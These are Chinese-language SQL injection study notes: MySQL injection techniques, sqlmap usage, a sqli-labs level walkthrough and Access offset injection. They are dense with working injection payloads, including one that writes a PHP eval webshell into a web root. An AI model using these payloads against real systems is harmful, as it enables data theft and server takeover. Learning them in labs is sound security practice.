数据库类型
低权限注入,只能查一些信息来辅助,高权限注入可以获得shell
而且不同数据库由于函数指令等不尽相同,需要不同的思路
Mysql注入思路
#跨库注入时可以用.
比如use a;后可以使用select * from b.adim;选择B库里的
高于5版本,有information_schema,低版本需要跑字典,用sqlmap
Get
POST
HTTP
COOKIE
REQUEST
根源:过滤
脱库 增删改查
数字型注入 字符型注入
联合注入 报错注入 布尔盲注 延时注入
多语句查询 增删改查
GPC
与数据库有交互即有可能
mysql
注释 # -- /*.....*/ /*!.....*/
元数据information_schema +--schema_name
|
+-- tables 所有表
| |
| `--table_name 表的名字
| |
| `--table_schema 记录表所属数据库的名字
|
`-- columns 所有字段
|
`--column_name 字段名,列名
|
`--table_name 字段所在表名
|
`--table_schema 字段所在库名
常用参数和函数】
< > <> = <= >= and or先算and后算or
select 1<>2
select+ version() 数据库版本
database() 数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@version_compile_os 操作系统版本
length(); 字符串长度
substring(); 截取字符串
substr();
mid();
1.目标
2.起始位置
3.长度
select substr(database(),1,1);
left()
select(left(database),2);从左数,长度
select concat("a","b","c");不含分隔符
select concat_ws("-","a","b","c")含分隔符
select group_concat("a","b","c") 同行
select ord("a") 变为ASCLL码
rand() 0~1间随机浮点数 select left(rand(),3) 0.1是3个字符
load_file()
sleep() 随眠
if(true,1,2) select if(true,1,2)判断对了1,错了2
御剑扫描网站后台
实现查到后台管理界面
排错顺序
?id=35 +1/-1 联合注入
?id=35' 报错“‘”说明是数字型 “35’”字符型 报错注入
select * from tbName where id=$id
select * from tbName where id=35 and 1=1
select * from tbName where id=35 and 1=2查看是否有布尔类型状态 布尔盲注
select * from tbName where id=35 and sleep(5) 延时注入
联合注入
select ~~~union select ~~~
两张虚拟表有相同的列数
判断 $id=1 and order by 1 一个一个试 order by 按第几列排序
?id=1 union select 1,2,3,4,5
?id=1 union select null,null,null,null,null
此时已拼接,但网页仍显示原来的数据
为了判断哪里出现了变化,让id=-1或?id=1 and 1=2,观察网页,用命令替换数字
?id=-1 union select 1,2,3,4,5
?id=-1 union select 1,2,3,hex(group_concat(schema_name)),5 from information_schema.schemata
?id=-1 union select 1,2,3,hex(group_concat(table_name)),5 from information_schema.tables where table_schema=database()
?id=-1 union select 1,2,3,hex(group_concat(column_name)),5 from information_schema.columns where table_schema=database() and table_name=转码后的表名
?id=-1 union select 1,2,3,concat(username,编码后的:,password),5 from 表名
虚拟表对应的列的数据类型相同
报错注入
报错信息显示在页面中,触发报错
@groupby
原理 sql天生缺陷
from
where
group by
having
select
#8652 bug
使用rand()分组聚合时,出现
cmd mysql
create database grouptest创建数据库
create table r1(a int)创建叫r1的表 a一列 int型
insert into r1 values (1),(2),(1),(2),(1)
select count(*) from r1 输出r1中有多少数据
select count(*) from r1 group by a 输出r1中有多少数据,按a列做排序聚合
select count(*) from r1 group by 1 没有输出
select left(rand(),3)//虚表,a from r1 group by 1
select left(rand(),3)//虚表,a,count(*) from r1 group by 1
select round(rand(),1)//虚表,a,count(*) from r1 group by 1
select floor(rand()*2)//虚表,a,count(*) from r1 group by 1 //floor(rand()*2)向下取值,即0,1
?id=1 and (select 1 from (select count(*),concat('^',(select version() from information_schema.tables limit 0,1),'^',floor(rand()*2)x from information_schema.tables group by x)a) --+;
select concat(left(rand(),3),'^','version()','^') as x,count(*) from information_schema.tables group by x;
如果rand和count被禁用
select min(@a:=1) from information_schema.tables group by concat('^',@@version,'^',@a:=(@a)%2);
select min(@a:=1) from (select 1 union select null union select !1)a group by concat('^',@@version,'^',@a:=(@a)%2);
@xpath 函数漏洞
@extractvalue()
?id=1 and/or extractvalue(1,concat('^',(select version()),'^')) --+
@updatexml()
?id=1 and updatexml(1,concat('^',(select version()),'^'),1) --+
口诀:是否有回显,联合查询
没有回显,是否有报错
没有报错,是否有布尔类型状态
绝招, 延时注入
布尔盲注
?id=1 and database()='cam' 一个一个猜,类似爆破
?id=1 and length(database())<3 先判断长度
?id=1 and ascii(substr(database(),1,1))<100 ascii判断字母
延时注入 盲注的一种
?id=1 and if(length(database())<3,sleep(5),1) 先判断长度
sqlmap
sqlmap -u "http://" 检测注入点
无损扫描
--dbs 列出所有数据库的名字
--current-db 当前数据库的名字
-D 指定数据库
--tables 列出表名
-T 指定表名
--columns 列出所有的字段名
-C 指定字段
--dump 列出字段内容
post bp 抓包,将内容写入文件如post.txt
sqlmap -r post.txt
其他注入
读写文件条件
1.phpmyadmin
服务器变量与设置
secure-file-priv 参数配置
secure-file-priv= 不对mysqld的导入导出做限制
secure-file-priv='C:/a/' 限制操作路径
secure-file-priv=null 不允许
2.当前用户具有权限
my.ini配置文件
写在[mysqld]下 secure-file-priv=
重启
cmd mysql
select File_priv from mysql.user where user="root" and host="localhost"
为Y
3.知道要写入文件的绝对路径
读取文件load_file()
写入文件?id=-1 union select 1,2,3 into outfile "C:\\a\\a\\" 或C:/a/a/ 例如一句话木马
?id=-1 union select 1,"<?phpinfor()?>",3 into outfile "C:\\a\\a\\" 或C:/a/a/
宽字节注入
是一种特殊方法
GBK编码 ?id=12' \' \的编码是%5c GBK范围 8140-FEFE %df5c拼接到一起是一个汉字
6
cookie注入 20关
Cookie: uname=stupid' and and updatexml(1,concat('^',(select version()),'^'),1) # #注释掉后面的sql语句
Cookie: uname=stupid' and updatexml(1,concat(0x5e,(database()),0x5e),1) #
base64 注入 22关
编码方式
Dumb" and updatexml(1,concat('^',(select version()),'^'),1) #
RHVtYiIgYW5kIHVwZGF0ZXhtbCgxLGNvbmNhdCgnXicsKHNlbGVjdCB2ZXJzaW9uKCkpLCdeJyksMSkgIw==
User-Agent 注入 18关
User-Agent: ajest' and updatexml (1,concat(0x5e,version(),0x5e),1) and '1'='1
referer注入 19关
Referer: ajest' and updatexml (1,concat(0x5e,version(),0x5e),1) and '1'='1
ACCESS
数据库
偏移注入:在注入过程中,可能会遇到注入知道表名,但是不知道列名,从而无法继续猜解,此时需要偏移注入解决。
偏移注入的流程:
1,判断字段数。例如:order by 猜字段数为22
2,判断表名。例如:union select 1,2,,,22 from admin (联合查询爆显位)
3,开始偏移注入。
union select 1,2,,,,,,21 * from admin //判断管理表的字段数,逐步测试直到显示正常为止,如到16时返回正常,则证明管理表里面有6个字段
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id) //admin为表a与表b,每个表6个字段
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) //如果上述没爆到关键信息,则继续执行二级偏移注入查询。
偏移注入需要注意的几个点:管理表的字段数越少(一般三个username、id、password)、知道的管理表字段越多我们就越容易成功。
————————————————
版权声明:本文为CSDN博主「雲下闲农」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/longgerlee/article/details/53184022
自动化注入
半自动化注入
burp
sqli-lib 刷关
+L1
| 字符型要闭合
| ?id=1' '与前面的sql语句闭合核心
| ?id=1' and 1=2 union select 1,version(),3
+L2
| 数字型不用闭合
有回显--| ?id=1 and 1=2 union select 1,version(),3
换ID | 或?id=-1 union select 1,version(),3
界面 +L3
改变 | 字符型 ?id=1'根据报错信息1'') --+
| ')即为闭合方式
| ?id=1') and 1=2 union select 1,version(),3
`L4
字符型 ?id=1"根据报错信息1"")
")即为闭合方式
无回显--+L5
无回显,有报错
?id=1’ and updatexml(1,concat(0x5e,version(),0x5e),1) --+
?id=1’ and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
L6
无回显,有报错
?id=1" and updatexml(1,concat(0x5e,version(),0x5e),1) --+
?id=1" and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
L7
无回显,有报错
经过代码审计
?id=1')) and updatexml(1,concat(0x5e,version(),0x5e),1) --+
?id=1')) and updatexml(1,concat(0x5e,(select database()),0x5e),1) --+
文件传输注入
?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "C:\\phpstudy\\www\\1.php" --+
?777=echo "a";
L8
没有回显,没有报错
有布尔类型状态
字符型 ’
半自动化
L9
字符型注入,单引号
无回显,无报错,无布尔类型变量
?id=2' and sleep(5)
?id=2' and if(length(database())=1,sleep(5),1) 接半自动 使用延时排序
?id=2' and if(ascii(substr(database()1,1))=1,sleep(5),1) 接半自动 使用延时排序
全自动
sqlmap
定制化脚本
后续 updatexml(1,concat(0x5e,select password from cms_user,0x5e),1) 由于密码32位无法一次显示^password^ 只能分割 ^part1 part2^
数据库导出导入(文件读写)
loadfile()
‘一句话后门代码’ into outfile ‘path’
#首先需要路径获取
报错显示
遗留文件,phpinfo
网站搜索CMS爆路径漏洞
网站配置文件,如果管理员没有修改配置,可以在网上查到默认路径,但很有局限性
爆破
#magic引号过滤自动加反斜杠转义
编码 用hex编码
#is_int()检测
注入不了
#replace 过滤,例如把 union select中select全部替换,甚至使用正则表达式,安全性更高。
#waf 官方字典库关键字检测
大小写,等价函数,加密,特殊符号,垃圾数据填充,但一般就是试试,成功性不大
其他数据库
#access
表名
列名
数据
其他:
数据库名
表名
列名
数据
也就是说access只有一个数据库(而且这个数据库实际上是跟网站源码放在一起的),没有跨库,它是低级的
并且access与asp结合,这两者都已经快淘汰了
#mongodb
与python web应用结合
注入工具 NoSqlAttack